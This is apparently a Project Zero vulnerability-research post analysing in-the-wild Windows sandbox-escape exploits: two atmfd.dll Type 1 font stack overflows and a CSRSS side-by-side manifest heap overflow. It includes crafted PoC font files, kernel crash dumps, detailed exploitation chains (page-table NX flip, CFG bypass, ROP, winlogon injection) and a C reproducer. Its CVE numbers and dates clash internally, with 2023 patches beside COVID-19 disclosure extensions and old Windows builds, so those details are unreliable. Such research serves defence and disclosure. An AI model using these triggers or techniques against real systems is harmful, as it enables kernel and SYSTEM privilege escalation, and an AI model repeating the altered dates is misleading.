This is part 6 of a 6-part series detailing a set of vulnerabilities found by Project Zero being exploited in the wild. To read the other parts of the series, see the introduction post.
Posted by Mateusz Jurczyk and Sergei Glazunov, Project Zero
In this post we'll discuss the exploits for vulnerabilities in Windows that have been used by the attacker to escape the Chrome renderer sandbox.
1. Font vulnerabilities on Windows ≤ 8.1 (CVE-2023-0938, CVE-2023-1020)
Background
The Windows GDI interface supports an old format of fonts called Type 1, which was designed by Adobe around 1985 and was popular mostly in the 1990s and early 2000s. On Windows, these fonts are represented by a pair of .PFM (Printer Font Metric) and .PFB (Printer Font Binary) files, with the PFB being a mixture of a textual PostScript syntax and binary-encoded CharString instructions describing the shapes of glyphs. GDI also supports a little-known extension of Type 1 fonts called "Multiple Master Fonts", a feature that was never very popular, but adds significant complexity to the text rasterization logic and was historically a source of many software bugs (e.g. one in the blend operator).
On Windows 8.1 and earlier versions, the parsing of these fonts takes place in a kernel driver called atmfd.dll (accessible through win32k.sys graphical syscalls), and thus it is an attack surface that may be exploited for privilege escalation. On Windows 10, the code was moved to a restricted fontdrvhost.exe user-mode process and is a significantly less attractive target. This is why the exploit found in the wild had a separate sandbox escape path dedicated to Windows 10 (see section 2. "CVE-2023-1027"). Oddly enough, the font exploit had explicit support for Windows 8 and 8.1, even though these platforms offer the win32k disable policy that Chrome uses, so the affected code shouldn't be reachable from the renderer processes. The reason for this is not clear, and possible explanations include the same privesc exploit being used in attacks against different client software (not limited to Chrome), or it being developed before the win32k lockdown was enabled in Chrome by default (pre-2015).
Nevertheless, the following analysis is based on Windows 8.1 64-bit with the March 2023 patch, the latest affected version at the time of the exploit discovery.
Font bug #1
The first vulnerability was present in the processing of the /VToHOrigin PostScript object. I suspect that this object had only been defined in one of the early drafts of the Multiple Master extension, as it is very poorly documented today and hard to find any official information on. The "VToHOrigin" keyword handler function is found at offset 0x220B0 of atmfd.dll, and based on the fontdrvhost.exe public symbols, we know that its name is ParseBlendVToHOrigin. To understand the bug, let's have a look at the following pseudo code of the routine, with irrelevant parts edited out for clarity:
int ParseBlendVToHOrigin(void *arg) { Fixed16_16 *ptrs[2]; Fixed16_16 values[2]; for (int i = 0; i < g_font->numMasters; i++) { ptrs[i] = &g_font->SomeArray[arg->SomeField + i]; } for (int i = 0; i < 2; i++) { int values_read = GetOpenFixedArray(values, g_font->numMasters); if (values_read != g_font->numMasters) { return -8; } for (int num = 0; num < g_font->numMasters; num++) { ptrs[num][i] = values[num]; } } return 0; } |
In summary, the function initializes numMasters pointers on the stack, then reads the same-sized array of fixed point values from the input stream, and writes each of them to the corresponding pointer. The root cause of the problem was that numMasters might be set to any value between 0–16, but both the ptrs and values arrays were only 2 items long. This meant that with 3 or more masters specified in the font, accesses to ptrs[2] and values[2] and larger indexes corrupted memory on the stack. On the x64 build that I analyzed, the stack frame of the function was laid out as follows:
... | |
RSP + 0x30 | ptrs[0] |
RSP + 0x38 | ptrs[1] |
RSP + 0x40 | saved RDI |
RSP + 0x48 | return address |
RSP + 0x50 | values[0 .. 1] |
RSP + 0x58 | saved RBX |
RSP + 0x60 | saved RSI |
... |
The green rows indicate the user-controlled local arrays, and the red ones mark internal control flow data that could be corrupted. Interestingly, the two arrays were separated by the saved RDI register and the return address, which was likely caused by a compiler optimization and the short length of values. A direct overflow of the return address is not very useful here, as it is always overwritten with a non-executable address. However, if we ignore it for now and continue with the stack corruption, the next pointer at ptrs[4] overlaps with controlled data in values[0] and values[1], and the code uses it to write the values[4] integer there. This is a classic write-what-where condition in the kernel.
After the first controlled write of a 32-bit value, the next iteration of the loop tries to write values[5] to an address made of ((values[3]<<32)|values[2]). This second write-what-where is what gives the attacker a way to safely escape the function. At this point, the return address is inevitably corrupted, and the only way to exit without crashing the kernel is through an access to invalid ring-3 memory. Such an exception is intercepted by a generic catch-all handler active throughout the font parsing performed by atmfd, and it safely returns execution back to the user-mode caller. This makes the vulnerability very reliable in exploitation, as the write-what-where primitive is quickly followed by a clean exit, without any undesired side effects taking place in between.
A proof-of-concept test case is easily crafted by taking any existing Type 1 font, and recompiling it (e.g. with the detype1 + type1 utilities as part of AFDKO) to add two extra objects to the .PFB file. A minimal sample in textual form is shown below:
~%!PS-AdobeFont-1.0: Test 001.001 dict begin /FontInfo begin /FullName (Test) def end /FontType 1 def /FontMatrix [0.001 0 0 0.001 0 0] def /WeightVector [0 0 0 0 0] def /Private begin /Blend begin /VToHOrigin[[16705.25490 -0.00001 0 0 16962.25882]] /end end currentdict end %currentfile eexec /Private begin /CharStrings 1 begin /.notdef ## -| { endchar } |- end end mark %currentfile closefile cleartomark |
The first highlighted line sets numMasters to 5, and the second one triggers a write of 0x42424242 (represented as 16962.25882) to 0xffffffff41414141 (16705.25490 and -0.00001). A crash can be reproduced by making sure that the PFB and PFM files are in the same directory, and opening the PFM file in the default Windows Font Viewer program. You should then be able to observe the following bugcheck in the kernel debugger:
PAGE_FAULT_IN_NONPAGED_AREA (50) Invalid system memory was referenced. This cannot be protected by try-except. Typically the address is just plain bad or it is pointing at freed memory. Arguments: Arg1: ffffffff41414141, memory referenced. Arg2: 0000000000000001, value 0 = read operation, 1 = write operation. Arg3: fffff96000a86144, If non-zero, the instruction address which referenced the bad memory address. Arg4: 0000000000000002, (reserved) [...] TRAP_FRAME: ffffd000415eefa0 -- (.trap 0xffffd000415eefa0) NOTE: The trap frame does not contain all registers. Some register values may be zeroed or incorrect. rax=0000000042424242 rbx=0000000000000000 rcx=ffffffff41414141 rdx=0000000000000005 rsi=0000000000000000 rdi=0000000000000000 rip=fffff96000a86144 rsp=ffffd000415ef130 rbp=0000000000000000 r8=0000000000000000 r9=000000000000000e r10=0000000000000000 r11=00000000fffffffb r12=0000000000000000 r13=0000000000000000 r14=0000000000000000 r15=0000000000000000 iopl=0 nv up ei pl nz na po cy ATMFD+0x22144: fffff96000a86144 890499 mov dword ptr [rcx+rbx*4],eax ds:ffffffff41414141=???????? Resetting default scope |
Font bug #2
The second issue was found in the processing of the /BlendDesignPositions object, which is defined in the Adobe Font Metrics File Format Specification document from 1998. Its handler is located at offset 0x21608 of atmfd.dll, and again using the fontdrvhost.exe symbols, we can learn that its internal name is SetBlendDesignPositions. Let's analyze the C-like pseudo code:
int SetBlendDesignPositions(void *arg) { int num_master; Fixed16_16 values[16][15]; for (num_master = 0; ; num_master++) { if (GetToken() != TOKEN_OPEN) { break; } int values_read = GetOpenFixedArray(&values[num_master], 15); SetNumAxes(values_read); } SetNumMasters(num_master); for (int i = 0; i < num_master; i++) { procs->BlendDesignPositions(i, &values[i]); } return 0; } |
The bug was simple. In the first for() loop, there was no upper bound enforced on the number of iterations, so one could read data into the arrays at &values[0], &values[1], ..., and then out-of-bounds at &values[16], &values[17] and so on. Most importantly, the GetOpenFixedArray function may read between 0 and 15 fixed point 32-bit values depending on the input file, so one could choose to write little or no data at specific offsets. This created a powerful non-continuous stack corruption primitive, which made it possible to easily redirect execution to a specific address or build a ROP chain directly on the stack. For example, the SetBlendDesignPositions function itself was compiled with a /GS cookie, but it was possible to overwrite another return address higher up the call chain to hijack the control flow.
To trigger the bug, it is sufficient to load a Type 1 font that includes a specially crafted /BlendDesignPositions object:
~%!PS-AdobeFont-1.0: Test 001.001 dict begin /FontInfo begin /FullName (Test) def end /FontType 1 def /FontMatrix [0.001 0 0 0.001 0 0] def /BlendDesignPositions [[][][][][][][][][][][][][][][][][][][][][][][0 0 0 0 16705.25490 -0.00001]] /Private begin /Blend begin /end end currentdict end %currentfile eexec /Private begin /CharStrings 1 begin /.notdef ## -| { endchar } |- end end mark %currentfile closefile cleartomark |
In the highlighted line, we first specify 22 empty arrays that don't corrupt any memory and only shift the index up to &values[22]. Then, we write the 32-bit values of 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x41414141, 0xfffffff to values[22][0..5]. On a vulnerable Windows 8.1, this coincides with the position of an unprotected return address higher on the stack. When such a font is loaded through GDI, the following kernel bugcheck is generated:
PAGE_FAULT_IN_NONPAGED_AREA (50) Invalid system memory was referenced. This cannot be protected by try-except. Typically the address is just plain bad or it is pointing at freed memory. Arguments: Arg1: ffffffff41414141, memory referenced. Arg2: 0000000000000008, value 0 = read operation, 1 = write operation. Arg3: ffffffff41414141, If non-zero, the instruction address which referenced the bad memory address. Arg4: 0000000000000002, (reserved) [...] TRAP_FRAME: ffffd0003e7ca140 -- (.trap 0xffffd0003e7ca140) NOTE: The trap frame does not contain all registers. Some register values may be zeroed or incorrect. rax=0000000000000000 rbx=0000000000000000 rcx=aae4a99ec7250000 rdx=0000000000000027 rsi=0000000000000000 rdi=0000000000000000 rip=ffffffff41414141 rsp=ffffd0003e7ca2d0 rbp=0000000000000002 r8=0000000000000618 r9=0000000000000024 r10=fffff90000002000 r11=ffffd0003e7ca270 r12=0000000000000000 r13=0000000000000000 r14=0000000000000000 r15=0000000000000000 iopl=0 nv up ei ng nz na po nc ffffffff`41414141 ?? ??? Resetting default scope |
Exploitation
According to our analysis, the font exploit supported the following Windows versions:
- Windows 8.1 (NT 6.3)
- Windows 8 (NT 6.2)
- Windows 7 (NT 6.1)
- Windows Vista (NT 6.0)
When run on systems up to and including Windows 8, the exploit started off by triggering the write-what-where condition (bug #1) twice, to set up a minimalistic 8-byte bootstrap code at a fixed address around 0xfffff90000000000. This location corresponds to the win32k.sys session space, and is mapped as RWX in these old versions of Windows, which means that KASLR didn't have to be bypassed as part of the attack. As the next step, the exploit used bug #2 to redirect execution to the first stage payload. Each of these actions was performed through a single NtGdiAddRemoteFontToDC system call, which can conveniently load Type 1 fonts from memory (as previously discussed here), and was enough to reach both vulnerabilities. In total, the privilege escalation process took only three syscalls.
Things get more complicated on Windows 8.1, where the session space is no longer executable:
0: kd> !pte fffff90000000000 PXE at FFFFF6FB7DBEDF90 contains 0000000115879863 pfn 115879 ---DA--KWEV PPE at FFFFF6FB7DBF2000 contains 0000000115878863 pfn 115878 ---DA--KWEV PDE at FFFFF6FB7E400000 contains 0000000115877863 pfn 115877 ---DA--KWEV PTE at FFFFF6FC80000000 contains 8000000115976863 pfn 115976 ---DA--KW-V |
As a result, the memory cannot be used so trivially as a staging area for the controlled kernel-mode code, but with a write-what-where primitive, there are many ways to work around it. In this specific exploit, the author switched from the session space to another page with a constant address – the shared user data region at 0xfffff78000000000. Notably, that page is not executable by default either, but thanks to the fixed location of page tables in Windows 8.1, it can be made executable with a single 32-bit write of value 0x0 to address 0xfffff6fbc0000004, which stores the relevant page table entry. This is what the exploit did – it disabled the NX bit in PTE, then wrote a 192-byte payload to the shared user page and executed it. This code path also performed some extra clean up, first by restoring the NX bit and then erasing traces of the attack from memory.
Once kernel execution reached the initial shellcode, a series of intermediary steps followed, each of them unpacking and jumping to a next, longer stage. Some code was encoded in the /FontMatrix PostScript object, some in the /FontBBox object, and even more directly in the font stream data. At this point, the exploit resolved the addresses of several exported symbols in ntoskrnl.exe, allocated RWX memory with a ExAllocatePoolWithTag(NonPagedPool) call, copied the final payload from the user-mode address space, and executed it. This is where we'll conclude our analysis, as the mechanics of the ring-0 shellcode are beyond the scope of this post.
The fixes
We reported the issues to Microsoft on March 17. Initially, they were subject to a 7-day deadline used by Project Zero for actively exploited vulnerabilities, but after receiving a request from the vendor, we agreed to provide an extension due to the global circumstances surrounding COVID-19. A security advisory was published by Microsoft on March 23, urging users to apply workarounds such as disabling the atmfd.dll font driver to mitigate the vulnerabilities. The fixes came out on April 14 as part of that month's Patch Tuesday, 28 days after our report.
Since both bugs were simple in nature, their fixes were equally simple too. In the ParseBlendVToHOrigin function, both ptrs and values arrays were extended to 16 entries, and an extra sanity check was added to ensure that numMasters wouldn't exceed 16:
int ParseBlendVToHOrigin(void *arg) { Fixed16_16 *ptrs[16]; Fixed16_16 values[16]; if (g_font->numMasters > 0x10) { return -4; } [...] } |
In the SetBlendDesignPositions function, an extra bounds check was introduced to limit the number of loop iterations to 16:
int SetBlendDesignPositions(void *arg) { int num_master; Fixed16_16 values[16][15]; for (num_master = 0; ; num_master++) { if (GetToken() != TOKEN_OPEN) { break; } if (num_master >= 16) { return -4; } int values_read = GetOpenFixedArray(&values[num_master], 15); SetNumAxes(values_read); } [...] } |
2. CSRSS issue on Windows 10 (CVE-2023-1027)
Background
The Client/Server Runtime Subsystem, or csrss.exe, is the user-mode part of the Win32 subsystem. Before Windows NT 4.0, CSRSS was in charge of the entire graphical user interface; nowadays, it implements tasks related to, for example, process and thread management.
csrss.exe is a user-mode process that runs with SYSTEM privileges. By default, every Win32 application opens a connection to CSRSS at startup. A significant number of API functions in Windows rely on the existence of the connection, so even the most restrictive application sandboxes, including the Chromium sandbox, can’t lock it down without causing stability problems. This makes CSRSS an appealing vector for privilege escalation attacks.
The communication with the subsystem server is performed via the ALPC mechanism, and the OS provides the high-level CSR API on top of it. The primary API function is called ntdll!CsrClientCallServer. It invokes a selected CSRSS routine and (optionally) receives the result:
NTSTATUS CsrClientCallServer( PCSR_API_MSG ApiMessage, PVOID CaptureBuffer, ULONG ApiNumber, LONG DataLength); |
The ApiNumber parameter determines which routine will be executed. ApiMessage is a pointer to a corresponding message object of size DataLength, and CaptureBuffer is a pointer to a buffer in a special shared memory region created during the connection initialization. CSRSS employs shared memory to transfer large and/or dynamically-sized structures, such as strings. ApiMessage can contain pointers to objects inside CaptureBuffer, and the API takes care of translating the pointers between the client and server virtual address spaces.
The reader can refer to this series of posts for a detailed description of the CSRSS internals.
One of CSRSS modules, sxssrv.dll, implements the support for side-by-side assemblies. Side-by-side assembly (SxS) technology is a standard for executable files that is primarily aimed at alleviating problems, such as version conflicts, arising from the use of dynamic-link libraries. In SxS, Windows stores multiple versions of a DLL and loads them on demand. An application can include a side-by-side manifest, i.e. a special XML document, to specify its exact dependencies. An example of an application manifest is provided below:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"> <assemblyIdentity type="win32" name="Microsoft.Windows.MySampleApp" version="1.0.0.0" processorArchitecture="x86"/> <dependency> <dependentAssembly> <assemblyIdentity type="win32" name="Microsoft.Tools.MyPrivateDll" version="2.5.0.0" processorArchitecture="x86"/> </dependentAssembly> </dependency> </assembly> |
The bug
The vulnerability in question has been discovered in the routine sxssrv! BaseSrvSxsCreateActivationContext, which has the API number 0x10017. The function parses an application manifest and all its (potentially transitive) dependencies into a binary data structure called an activation context, and the current activation context determines the objects and libraries that need to be redirected to a specific implementation.
The relevant ApiMessage object contains several UNICODE_STRING parameters, such as the application name and assembly store path. UNICODE_STRING is a well-known mutable string structure with a separate field to keep the capacity (MaximumLength) of the backing store:
typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING; |
BaseSrvSxsCreateActivationContext starts with validating the string parameters:
for (i = 0; i < 6; ++i) { if (StringField = StringFields[i]) { Length = StringField->Length; if (Length && !StringField->Buffer || Length > StringField->MaximumLength || Length & 1) return 0xC000000D; if (StringField->Buffer) { if (!CsrValidateMessageBuffer(ApiMessage, &StringField->Buffer, Length + 2, 1)) { DbgPrintEx(0x33, 0, "SXS: Validation of message buffer 0x%lx failed.\n" " Message:%p\n" " String %p{Length:0x%x, MaximumLength:0x%x, Buffer:%p}\n", i, ApiMessage, StringField, StringField->Length, StringField->MaximumLength, StringField->Buffer); return 0xC000000D; } CharCount = StringField->Length >> 1; if (StringField->Buffer[CharCount] && StringField->Buffer[CharCount - 1]) return 0xC000000D; } } } |
CsrValidateMessageBuffer is declared as follows:
BOOLEAN CsrValidateMessageBuffer( PCSR_API_MSG ApiMessage, PVOID* Buffer, ULONG ElementCount, ULONG ElementSize); |
This function verifies that 1) the *Buffer pointer references data inside the associated capture buffer, 2) the expression *Buffer + ElementCount * ElementSize doesn’t cause an integer overflow, and 3) it doesn’t go past the end of the capture buffer.
As the reader can see, the buffer size for the validation is calculated based on the Length field rather than MaximumLength. This would be safe if the strings were only used as input parameters. Unfortunately, the string at offset 0x120 from the beginning of ApiMessage (we’ll be calling it ApplicationName) can also be re-used as an output parameter. The affected call stack looks as follows:
sxs!CNodeFactory::XMLParser_Element_doc_assembly_assemblyIdentity
sxs!CNodeFactory::CreateNode
sxs!XMLParser::Run
sxs!SxspIncorporateAssembly
sxs!SxspCloseManifestGraph
sxs!SxsGenerateActivationContext
sxssrv!BaseSrvSxsCreateActivationContextFromStructEx
sxssrv!BaseSrvSxsCreateActivationContext
When BaseSrvSxsCreateActivationContextFromStructEx is called, it initializes an instance of the SXS_GENERATE_ACTIVATION_CONTEXT_PARAMETERS structure with the pointer to ApplicationName’s buffer and the unaudited MaximumLength value as the buffer size:
BufferCapacity = CreateCtxParams->ApplicationName.MaximumLength; if (BufferCapacity) { GenActCtxParams.ApplicationNameCapacity = BufferCapacity >> 1; GenActCtxParams.ApplicationNameBuffer = CreateCtxParams->ApplicationName.Buffer; } else { GenActCtxParams.ApplicationNameCapacity = 60; StringBuffer = RtlAllocateHeap(NtCurrentPeb()->ProcessHeap, 0, 120); if (!StringBuffer) { Status = 0xC0000017; goto error; } GenActCtxParams.ApplicationNameBuffer = StringBuffer; } |
Then sxs!SxsGenerateActivationContext passes those values to ACTCTXGENCTX:
Context = (_ACTCTXGENCTX *)HeapAlloc(g_hHeap, 0, 0x10D8); if (Context) { Context = _ACTCTXGENCTX::_ACTCTXGENCTX(Context); } else { FusionpTraceAllocFailure(v14); SetLastError(0xE); goto error; } if (GenActCtxParams->ApplicationNameBuffer && GenActCtxParams->ApplicationNameCapacity) { Context->ApplicationNameBuffer = GenActCtxParams->ApplicationNameBuffer; Context->ApplicationNameCapacity = GenActCtxParams->ApplicationNameCapacity; } |
Ultimately, sxs!CNodeFactory::
XMLParser_Element_doc_assembly_assemblyIdentity calls memcpy that can go past the end of the capture buffer:
IdentityNameBuffer = 0; IdentityNameLength = 0; SetLastError(0); if (!SxspGetAssemblyIdentityAttributeValue(0, v11, &s_IdentityAttribute_name, &IdentityNameBuffer, &IdentityNameLength)) { CallSiteInfo = off_16506FA20; goto error; } if (IdentityNameLength && IdentityNameLength < Context->ApplicationNameCapacity) { memcpy(Context->ApplicationNameBuffer, IdentityNameBuffer, 2 * IdentityNameLength + 2); Context->ApplicationNameLength = IdentityNameLength; } else { *Context->ApplicationNameBuffer = 0; Context->ApplicationNameLength = 0; } |
The source data for the memcpy call comes from the name parameter of the main assemblyIdentity node in the manifest.
Exploitation
Even though the vulnerability was present in older versions of Windows, the exploit only targets Windows 10. All major builds up to 18363 are supported.
As a result of the vulnerability, the attacker can call memcpy with fully controlled contents and size. This is one of the best initial primitives a memory corruption bug can provide, but there’s one potential issue. So far it seems like the bug allows the attacker to write data either past the end of the capture buffer in a shared memory region, which they can already write to from the sandboxed process, or past the end of the shared region, in which case it’s quite difficult to reliably make a “useful” allocation right next to the region. Luckily for the attacker, the vulnerable code actually operates on a copy of the original capture buffer, which is made by csrsrv!CsrCaptureArguments to avoid potential issues caused by concurrent modification of the buffer contents, and the copy is allocated in the regular heap.
The logical first step of the exploit would be to leak some data needed for an ASLR bypass. However, the following design quirks in Windows and CSRSS make it unnecessary:
- Windows randomizes module addresses once per boot, and csrss.exe is a regular user-mode process. This means that the attacker can use modules loaded in both csrss.exe and the compromised sandboxed process, for example, ntdll.dll, for code-reuse attacks.
- csrss.exe provides client processes with its virtual address of the shared region during initialization so they can adjust pointers for API calls. The offset between the “local” and “remote” addresses is stored in ntdll!CsrPortMemoryRemoteDelta. Thus, the attacker can store, e.g., fake structures needed for the attack in the shared mapping at a predictable address.
The exploit also has to bypass another security feature, Microsoft’s Control Flow Guard, which makes it significantly more difficult to jump into a code reuse gadget chain via an indirect function call. The attacker has decided to exploit the CFG’s inability to protect return addresses on the stack to gain control of the instruction pointer. The complete algorithm looks as follows:
1. Groom the heap. The exploit makes a preliminary CreateActivationContext call with a specially crafted manifest needed to massage the heap into a predictable state. It contains an XML node with numerous attributes in the form aa:aabN="BB...BB”. The manifest for the second call, which actually triggers the vulnerability, contains similar but different-sized attributes.
2. Implement write-what-where. The buffer overflow is used to overwrite the contents of XMLParser::_MY_XML_NODE_INFO nodes. _MY_XML_NODE_INFO may optionally contain a pointer to an internal character buffer. During subsequent parsing, if the current element is a numeric character entity (i.e. a string in the form ሴ), the parser calls XMLParser::CopyText to store the decoded character in the internal buffer of the currently active _MY_XML_NODE_INFO node. Therefore, by overwriting multiple nodes, the exploit can write data of any size to a controlled address.
3. Overwrite the loaded module list. The primitive gained in the previous step is used to modify the pointer to the loaded module list located in the PEB_LDR_DATA structure inside ntdll.dll, which is possible because the attacker has already obtained the base address of the library from the sandboxed process. The fake module list consists of numerous LDR_MODULE entries and is stored in the shared memory region. The unofficial definition of the structure is shown below:
typedef struct _LDR_MODULE { LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID BaseAddress; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; SHORT LoadCount; SHORT TlsIndex; LIST_ENTRY HashTableEntry; ULONG TimeDateStamp; } LDR_MODULE, *PLDR_MODULE; |
When a new thread is created, the ntdll!LdrpInitializeThread function will follow the module list and, provided that the necessary flags are set, run the function referenced by the EntryPoint member with BaseAddress as the first argument. The EntryPoint call is still protected by the CFG, so the exploit can’t jump to a ROP chain yet. However, this gives the attacker the ability to execute an arbitrary sequence of one-argument function calls.
4. Launch a new thread. The exploit deliberately causes a null pointer dereference. The exception handler in csrss.exe catches it and creates an error-reporting task in a new thread via csrsrv!CsrReportToWerSvc.
5. Restore the module list. Once the execution reaches the fake module list processing, it’s important to restore PEB_LDR_DATA’s original state to avoid crashes in other threads. The attacker has discovered that a pair of ntdll!RtlPopFrame and ntdll!RtlPushFrame calls can be used to copy an 8-byte value from one given address to another. The fake module list starts with such a pair to fix the loader data structure.
6. Leak the stack register. In this step the exploit takes full advantage of the shared memory region. First, it calls setjmp to leak the register state into the shared region. The next module entry points to itself, so the execution enters an infinite loop of NtYieldExecution calls. In the meantime, the sandboxed process detects that the data in the setjmp buffer has been modified. It calculates the return address location for the LdrpInitializeThread stack frame, sets it as the destination address for a subsequent copy operation, and modifies the InLoadOrderModuleList pointer of the current module entry, thus breaking the loop.
7. Overwrite the return address. After the exploit exits the loop in csrss.exe, it performs two more copy operations: overwrites the return address with a stack pivot pointer, and puts the fake stack address next to it. Then, when LdrpInitializeThread returns, the execution continues in the ROP chain.
8. Transition to winlogon.exe. The ROP payload creates a new memory section and shares it with both winlogon.exe, which is another highly-privileged Windows process, and the sandboxed process. Then it creates a new thread in winlogon.exe using an address inside the section as the entry point. The sandboxed process writes the final stage of the exploit to the section, which downloads and executes an implant. The rest of the ROP payload is needed to restore the normal state of csrss.exe and terminate the error reporting thread.
The fix
We reported the issue to Microsoft on March 23. Similarly to the font bugs, it was subject to a 7-day deadline used by Project Zero for actively exploited vulnerabilities, but after receiving a request from the vendor, we agreed to provide an extension due to the global circumstances surrounding COVID-19. The fix came out 22 days after our report.
The patch renamed BaseSrvSxsCreateActivationContext into BaseSrvSxsCreateActivationContextFromMessage and added an extra CsrValidateMessageBuffer call for the ApplicationName field, this time with MaximumLength as the size argument:
ApplicationName = ApiMessage->CreateActivationContext.ApplicationName; if (ApplicationName.MaximumLength && !CsrValidateMessageBuffer(ApiMessage, &ApplicationName.Buffer, ApplicationName.MaximumLength, 1)) { SavedMaximumLength = ApplicationName.MaximumLength; ApplicationName.MaximumLength = ApplicationName.Length + 2; } [...] if (SavedMaximumLength) ApiMessage->CreateActivationContext.ApplicationName.MaximumLength = SavedMaximumLength; return result; |
Appendix A
The following reproducer has been tested on Windows 10.0.18363.959.
#include <stdint.h> #include <stdio.h> #include <windows.h> #include <string> const char* MANIFEST_CONTENTS = "<?xml version='1.0' encoding='UTF-8' standalone='yes'?>" "<assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'>" "<assemblyIdentity name='@' version='1.0.0.0' type='win32' " "processorArchitecture='amd64'/>" "</assembly>"; const WCHAR* NULL_BYTE_STR = L"\x00\x00"; const WCHAR* MANIFEST_NAME = L"msil_system.data.sqlxml.resources_b77a5c561934e061_3.0.4100.17061_en-us_" L"d761caeca23d64a2.manifest"; const WCHAR* PATH = L"\\\\.\\c:Windows\\"; const WCHAR* MODULE = L"System.Data.SqlXml.Resources"; typedef PVOID(__stdcall* f_CsrAllocateCaptureBuffer)(ULONG ArgumentCount, ULONG BufferSize); f_CsrAllocateCaptureBuffer CsrAllocateCaptureBuffer; typedef NTSTATUS(__stdcall* f_CsrClientCallServer)(PVOID ApiMessage, PVOID CaptureBuffer, ULONG ApiNumber, ULONG DataLength); f_CsrClientCallServer CsrClientCallServer; typedef NTSTATUS(__stdcall* f_CsrCaptureMessageString)(LPVOID CaptureBuffer, PCSTR String, ULONG Length, ULONG MaximumLength, PSTR OutputString); f_CsrCaptureMessageString CsrCaptureMessageString; NTSTATUS CaptureUnicodeString(LPVOID CaptureBuffer, PSTR OutputString, PCWSTR String, ULONG Length = 0) { if (Length == 0) { Length = lstrlenW(String); } return CsrCaptureMessageString(CaptureBuffer, (PCSTR)String, Length * 2, Length * 2 + 2, OutputString); } int main() { HMODULE Ntdll = LoadLibrary(L"Ntdll.dll"); CsrAllocateCaptureBuffer = (f_CsrAllocateCaptureBuffer)GetProcAddress( Ntdll, "CsrAllocateCaptureBuffer"); CsrClientCallServer = (f_CsrClientCallServer)GetProcAddress(Ntdll, "CsrClientCallServer"); CsrCaptureMessageString = (f_CsrCaptureMessageString)GetProcAddress( Ntdll, "CsrCaptureMessageString"); char Message[0x220]; memset(Message, 0, 0x220); PVOID CaptureBuffer = CsrAllocateCaptureBuffer(4, 0x300); std::string Manifest = MANIFEST_CONTENTS; Manifest.replace(Manifest.find('@'), 1, 0x2000, 'A'); // There's no public definition of the relevant CSR_API_MSG structure. // The offsets and values are taken directly from the exploit. *(uint32_t*)(Message + 0x40) = 0xc1; *(uint16_t*)(Message + 0x44) = 9; *(uint16_t*)(Message + 0x59) = 0x201; // CSRSS loads the manifest contents from the client process memory; // therefore, it doesn't have to be stored in the capture buffer. *(const char**)(Message + 0x80) = Manifest.c_str(); *(uint64_t*)(Message + 0x88) = Manifest.size(); *(uint64_t*)(Message + 0xf0) = 1; CaptureUnicodeString(CaptureBuffer, Message + 0x48, NULL_BYTE_STR, 2); CaptureUnicodeString(CaptureBuffer, Message + 0x60, MANIFEST_NAME); CaptureUnicodeString(CaptureBuffer, Message + 0xc8, PATH); CaptureUnicodeString(CaptureBuffer, Message + 0x120, MODULE); // Triggers the issue by setting ApplicationName.MaxLength to a large value. *(uint16_t*)(Message + 0x122) = 0x8000; CsrClientCallServer(Message, CaptureBuffer, 0x10017, 0xf0); } |
This is part 6 of a 6-part series detailing a set of vulnerabilities found by Project Zero being exploited in the wild. To read the other parts of the series, see the introduction post.
Posting Komentar